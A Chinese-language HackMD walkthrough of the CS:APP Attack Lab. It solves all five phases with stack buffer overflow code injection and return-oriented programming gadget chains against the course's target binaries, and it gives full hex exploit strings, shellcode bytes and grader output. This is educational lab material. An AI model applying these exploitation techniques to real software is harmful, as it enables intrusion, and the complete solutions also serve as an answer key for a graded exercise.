Try   HackMD

CS:APP Attack Lab

背景知識

安裝的流程和之前一樣,就不在贅述了。而本作業的題目說明在 attacklab.pdf

本作業一共有 5 題。分別對具有不同安全漏洞的兩個程式攻擊,而透過本次作業可以學到:

  • 安全漏洞導致 Buffer overflow 的問題
  • 如何編寫更安全的程式
  • 了解 x86-64 的堆疊和參數傳遞機制
  • 了解x86-64 指令的編碼方式
  • 更深入使用 GDBOBJDUMP 等除錯工具

文件結構

- cookie.txt
- ctarget
- rtarget
- farm.c
- hex2row
  • cookie.txt: 一個8位16進制數,作為攻擊的特殊標誌符
  • ctarget: 程式注入攻擊的目標文件
  • rtarget: ROP 攻擊目標文件
  • farm.c: 在 ROP 攻擊中作為 gadgets 的產生源
  • hex2row: 將16進制數轉換為攻擊字符

題目說明

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

phase_1

本題會執行一段程式碼 test 函式,原本在第 4 行 getbuf 函式執行結束後會回到第 5 行 printf 。但現在希望可以跳到令一個完全不相關的函式 touch1

void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }

因此先觀察 getbuf 函式。一開始它將堆疊指標減 40 (0x28),接著呼叫 Gets

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          call   401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      ret                 
  4017be:   90                      nop
  4017bf:   90                      nop

$ 3. Target Programs:
The function Gets is similar to the standard library function gets—it reads a string from standard input (terminated by ‘\n’ or end-of-file) and stores it (along with a null terminator) at the specified destination.

得知 Gets 函式和標準庫的 gets 是一樣不會檢查輸入長度,因此就知道 Gets 的字串緩衝區只有 40 個 byte,而這 40 個後面緊接的就是回傳地址,因此我們可以將堆疊畫成以下樣子,既然它沒有邊界檢查,就代表我只要輸入 41 ~ 48 個數據就可以改寫寫回地址。

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

那要蓋過去的地址就為 touch1 函式的初始地址,可以看到是 0x4017c0

00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00 
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          call   400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          call   401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          call   400e40 <exit@plt>

現在要攻擊程式了,首先要把剛剛得到的答案寫入 sol_1.txt 檔案裡。注意到我們機器是使用 Little-Endian ,因此要把地址反過來寫。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

接著利用 hex2row 將這個 16 進制的文字檔轉成攻擊字符,再使用 ctarget 將攻擊字符注入目標文件。本題就成功攻擊了。

$ ./hex2raw < sol_1.txt > sol_1-raw.txt
$ /ctarget -q -i sol_1-raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
	00 C0 17 40 00 00 00 00 00

phase_2

第二題一樣希望從 test 再執行 getbuf 後跳到 touch 函式。但不同的是,touch2 函式有一個參數 val 要和 cookie 值一樣。

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

那想當然就要先去看 cookie 這個值存放在哪裡阿。透過下面可以看到 cookie 是存在 0x202ce2 + rip 的記憶體位置。而我們要的輸入值則是存在 rdi 。因此這邊就知道我們必須要將 rdi 暫存器輸入成和 0x202ce2 + rip 記憶體位置存放的值一樣。

00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          call   400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          call   401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          call   400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          call   401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          call   400e40 <exit@plt>

可以在 cookie.txt 中看到 0x202ce2 + rip 存放的值為 0x59b997fa

因此可以開始設計一套攻擊流程。首先,由上題可以知道 buffer 的 40 ~ 47 個 byte 可以更改回傳地址,但我們不能直接更改成 touch2 的地址,因為 rdi 還未更改到。所以我們可以在 buffer 區寫一段程式碼,並將 40 ~ 47 的位置指向這段程式,最後在回傳回 touch2 的地址。

而這段程式要做的是有以下三件:

  • rdi 設置為 0x59b997fa
  • 設置回傳到 touch2 的地址
  • 回傳動作

可以在 asm_2.s 寫成:

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

接著執行以下流程

$ gcc -c asm_2.s // asm_2.s -> asm_2.o
$ objdump -d asm_2.o > asm_2.d // asm_2.o -> asm_2.d
$ objdump -d asm_2.o > asm_2.txt // asm_2.o -> asm_2.txt

現在需要知道指向堆棧的地址在哪裡,可以用以下 gdb 操作獲得 rsp 在執行 bufget 的值。因此可以獲得值為 0x5561dc78

(gdb) b bufget
(gdb) run -q -i asm_2.txt
(gdb) print $rsp
$1 = (void *) 0x5561dca0
(gdb) stepi
14	in buf.c
(gdb) print $rsp
$2 = (void *) 0x5561dc78

我們可以先來考慮整個堆疊的狀態

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

而整題的流程如下

  • getbuf 的回傳值被改成 0x5561dc78 ,因此回傳到堆疊底部
  • 執行堆疊底部存放三條指令
  • 第一條將 rdi (函式第一個參數) 改成 val
  • 第二條在堆疊中推入 touch2 的地址
  • 第三條回傳回 touch2 地址

不但成功進入 touch2 ,也更改了 rdi 的值。

打開 asm_2.d 可以看到組合語言的 16 進制表示

asm_2.o:     file format elf64-x86-64
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          push   $0x4017ec
   c:   c3                      ret

所以最後將答案寫入 sol_2.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

成功通過第二關

$ ./hex2raw < sol_2.txt > sol_2-raw.txt
$ ./ctarget -q -i sol_2-raw.txt
/ctarget -q -i sol_2-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 
	68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 
	00 00 00

phase_3

第三題和第二題的架構類似,不同的是 touch3 函式的參數是一個字串。它呼叫 hexmatch 函式來比較字串。

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

首先先來觀察一下 touch3hexmatch 的組合語言

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	callq  400db0 <random@plt>
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	callq  400e70 <__sprintf_chk@plt>
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	callq  400ca0 <strncmp@plt>
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>
  4018ec:	e8 ef f3 ff ff       	callq  400ce0 <__stack_chk_fail@plt>
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	retq

我們要先理解它的比較邏輯,從上題得知,cookie 存放的記憶體地址為 0x59b997fa ,從 touch3 函式作為參入輸入進 hexmatchval 變數。接著使用 sprintf 函式將 0x59b997fa 以 8 位的 16 進制存放在字串 s ,最後和我們目標要注入的 sval 做比較,注意到存入只存 8 位,但比較 9 位,是因為字串預設有結束字符 '\0' ,因此我們要注入的資料型態為 0x59b997fa 轉成字串後,再將根據每個字元轉成 ASCII 代碼型態。

字串 '5' '9' 'b' '9' '9' '7' 'f' 'a' '\0'
ASCII code 35 39 62 39 39 37 66 61 0

那能不能直接像第二題一樣把值放入 rdi 就好呢,我們來考慮一下文件中提到建議。

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.

在第二題的流程中,從 getbuf 跳到 touch2 就直接比較數值了。但在第三題中,則是先呼叫 hexmatch 再呼叫 strncmp ,而這兩個函式都會對堆疊進行覆寫,如果我們照第二題的方式將上面得到的數值放入 rdi ,它會在調用這兩個函式時被改掉而導致不能和我們預期的數值一樣。

那到底要把數值存到哪裡才不會被覆寫,可以考慮以下幾個條件。

  1. 會影響堆疊的指令為 push ,可以計算從執行我們注入的程式到執行 strncmp 之前操作了幾次。可以看到 touch3 執行 1 次、hexmatch 執行 3 次,將堆疊向下減了 32 。也就是說從 0x5561dc78 + 0x20 = 0x5561dc98 的位置都會被覆寫。
  2. 0x5561dca0 是存放堆疊底層,使其執行我們注入的程式。

因此得到的結論就是 0x5561dc780x5561dca0 都不能存放,所以要放在比 0x5561dca0 高 8 位,也就是 0x5561dca8 的位置。

剩下的步驟就和第二題類似了。要注入的程式如下

movq $0x5561dca8, %rdi
pushq $0x4018fa
ret

對應的堆疊就如下圖所示:

stack3

完整流程:

  • getbuf 的回傳值被改成 0x5561dc78 ,因此回傳到堆疊底部
  • 執行堆疊底部存放三條指令
  • 第一條將 rdi (函式第一個參數) 改成 0x5561dca8 ,也就是存放資料的地址
  • 第二條在堆疊中推入 touch3 的地址
  • 第三條回傳回 touch3 地址
  • 進入 touch3 後使用 push 一次
  • 進入 hexmatch 後使用 push 三次
  • 此時堆疊中 0x5561dc780x5561dca0 的區域都被複寫
  • 進入 strncmprdi 的記憶體位置沒被複寫,因此比較成功

將注入程式轉成 16 進制

$ gcc -c asm_3.s // asm_2.s -> asm_2.o
$ objdump -d asm_3.o > asm_3.d // asm_3.o -> asm_3.d
asm_3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          push   $0x4018fa
   c:   c3                      ret

就可以寫本題的答案啦

68 fa 18 40 00 48 c7 c7 
a8 dc 61 55 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

最後執行,成功通過第三關

$ ./hex2raw < sol_3.txt > sol_3-raw.txt
$ ./ctarget -q -i sol_3-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 48 C7 C7 A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 

ROP

第四、五題將堆疊指標隨機化並且使一些部份的堆疊不可執行。這導致我們沒辦法向前三題一樣直接將想執行的程式注入到堆疊區。因此要使用 ROP 技術。

它的核心思想就是要利用已存在的程式,利用巧妙的切割,使其變成完全不一樣的程式,下面舉個例子:

void setval_210(unsigned *p)
{
*p = 3347663060U;
}

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

這是一個簡單的程式,它的組合語言的 byte 形式為 c7 07 d4 48 89 c7 c3 。但如果我們只保留 d4 48 89 c7 c3

0000000000000000 <.text>:
   0:   48 89 c7                mov    %rax,%rdi
   3:   c3                      ret

可以看到就便完全不一樣的行為了。因此我們就可以利用這點來攻擊。可以先使用 objdump -d ./rtarget > rtarget.s 反彙編。並在裡面找到

00000000004019b5 <setval_424>:
  4019b5:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:   c3                      ret    

由上面知道這個函式的地址為 0x4019b5 ,我們就可以計算出第三個數值開始的位置為 0x4019b5 + 0x3 = 0x4019b8 ,可以將這個地址 push 進堆疊中,當 ret 的時候就會跳到這裡。而這段指令的最後面為 c3 也就是 ret 指令。因此可以將多個攻擊程式依次放入堆疊中,這樣每次 ret 就會照我們的想法執行攻擊程式了。就如下圖所示,gadget 就是我們切割出來的程式碼。

Screenshot from 2024-08-02 15-17-51

phase_4

第四題要求使用 ROP 來做 phase_2。第二題原本是

  • 0x59b997fa 放入 rdi
  • 回傳至 touch2

而現在我們因為不知道堆疊地址,因此無法將其直接給 rdi ,但還是可以利用 getbuf 會寫堆疊的特性,將 0x59b997fa 放入堆疊後,在利用 pop 出來。所以流程變成

  • 使用 pop 將堆疊中的數值抓出來給某暫存器
  • 使用 mov 將暫存的暫存器給 rdi
  • 回傳至 touch2

接著就要在 rtarget.s 中湊出對應的 gadget 。可以對應教材的表格來尋找。

Screenshot from 2024-08-02 15-38-17

Screenshot from 2024-08-04 13-41-47

在裡面找到回傳值為 rax

00000000004019a0 <addval_273>:                                   
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      ret

因此我們可以這樣湊

popq %rax
movq %rax %rdi

asm byte:
58 48 89 c7

再次去 rtarget.s 尋找,就可以找到以下兩個。但是其實其他還有很多,但其他不行的原因是因為可以看到 addval_219 的第 5 個數值之後為 58 90 c3 ,其中 58c3 是我們想要的 popqret ,而 90 則是 NOP ,這也就表示若不是 90 則會導致整個程式錯誤,而 setval_426 也是如此,對應 48 89 c7 90 c3

addval_219 對應的地址為 0x4019absetval_426 對應的地址為 0x4019c5

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      ret    

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      ret    

最後要將其依次放入堆疊中,注意若是 gadget 則是要放指令地址。

  1. popq 對應地址 0x4019ab
  2. cookie 的數值
  3. movq 對應地址 0x4019c5
  4. touch2 函式對應地址 0x4017ec

堆疊的樣子就變成

stack4(1)

完整流程:

  • getbuf 的回傳值被改成 popq 的地址
  • 執行 popq 將現在 rsp 的值給 raxrsp 再加 8,執行 ret 回傳回 movq 的地址
  • 執行 movqrax 賦值給 rdi ,執行 ret 回傳回 touch2 的地址

將其寫入 sol_4.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

最後執行,攻擊成功

$ ./hex2raw < sol_4.txt > sol_4-raw.txt
$ ./rtarget -q -i sol_4-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

phase_5

第五題一樣要使用 ROP 來實作 phase_3 。由於堆疊已經隨機化了,我們無法直接取得 cookie 所在地址。因此可以利用返回時的堆疊指標 + 一段偏移量。

而偏移量要如何取得,考慮到本題的目標

  • rdi 要是返回的 rsp + 偏移量
  • 跳到 touch3
  • 用已存在的程式來操作暫存器

因此可以設計一系列暫存器操作流程將上面步驟做完,在看使用到堆疊多少空間後,在堆疊後一個地方放上 cookie 值。而偏移量就是第一個 gadget 到最後一個的距離。

但我們還需要考慮兩件事

  1. 需要將暫存器的操作湊出來,可以透過上面的表來查,因為最後是要將暫存器的值相加,再去記憶體取值,只有以下的函式比較適合,因此我們要將 rsp 和偏移量分別放入 rdirsi ,最後在把 rax 賦值給 rdi (第一個參數)。
00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      ret
  1. 偏移量是常數,所以需要放入堆疊再用 pop 出來

開始操作,根據上述第一點將 rsp -> rdi偏移量給 rsi

  1. rsp 取出: movq rsp rax (48 89 e0)
0000000000401a03 <addval_190>:
  401a03:   8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax
  401a09:   c3                      ret
  1. rax 賦值給 rdi: movq rax rdi (48 89 c7)
00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      ret    
  1. pop 出偏移量給 rax: popq rax (58)
00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      ret   
  1. 放入偏移量,但我們還不知道有幾個指令
  2. eax 賦值給 edx: movl eax edx (89 c2)
00000000004019db <getval_481>:
  4019db:   b8 5c 89 c2 90          mov    $0x90c2895c,%eax
  4019e0:   c3                      ret
  1. edx 賦值給 ecx: movl edx ecx (89 d1),注意到多了一個 (38 c9) ,查表為 cmpb %cl %cl 不影響程式行為。
0000000000401a33 <getval_159>:
  401a33:   b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:   c3                      ret
  1. ecx 賦值給 esi: movl ecx esi (89 ce)
0000000000401a11 <addval_436>:
  401a11:   8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401a17:   c3                      ret    
  1. 從記憶體位置取出 cookie 值: lea (%rdi,%rsi,1),%rax
00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3  
  1. rax 賦值給 rdi: movq rax rdi (48 89 c7)
00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      ret    
  1. 呼叫 touch3 函式

我們可以將 cookie 的值放在這些操作的上面,可以來考慮偏移量是多少了。在第一步將 rsp 取出時,堆疊指標其實是指著更上面的空間的,就如堆疊圖所示,從堆疊指標算到 cookie 地址一共 9 個空間,偏移量就是 9 * 8 = 0x48

stack5

完整流程:

  • getbuf 的回傳值被改成 gadget 的地址
  • 多個 gadget 執行將 cookie 值存進 rdi
  • 返回 touch3

將答案寫入 sol_5.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00  <- movq %rsp, %rax
c5 19 40 00 00 00 00 00  <- movq %rax, %rdi
ab 19 40 00 00 00 00 00  <- popq %rax
48 00 00 00 00 00 00 00  <- bias
42 1a 40 00 00 00 00 00  <- movl %eax, %edx
34 1a 40 00 00 00 00 00  <- movl %edx, %ecx
27 1a 40 00 00 00 00 00  <- movl %ecx, %esi
d6 19 40 00 00 00 00 00  <- lea  (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00  <- movq %rax, %rdi
fa 18 40 00 00 00 00 00  <- 呼叫 touch3
35 39 62 39 39 37 66 61  <- cookie 值
00 00 00 00 00 00 00 00  <- cookie 值

最後執行,最後一題就攻擊成功啦

$ ./hex2raw < sol_5.txt > sol_5-raw.txt
$ ./rtarget -q -i sol_5-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 0
0 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 4
2 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 0
0 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 0
0 00 00 00 00 00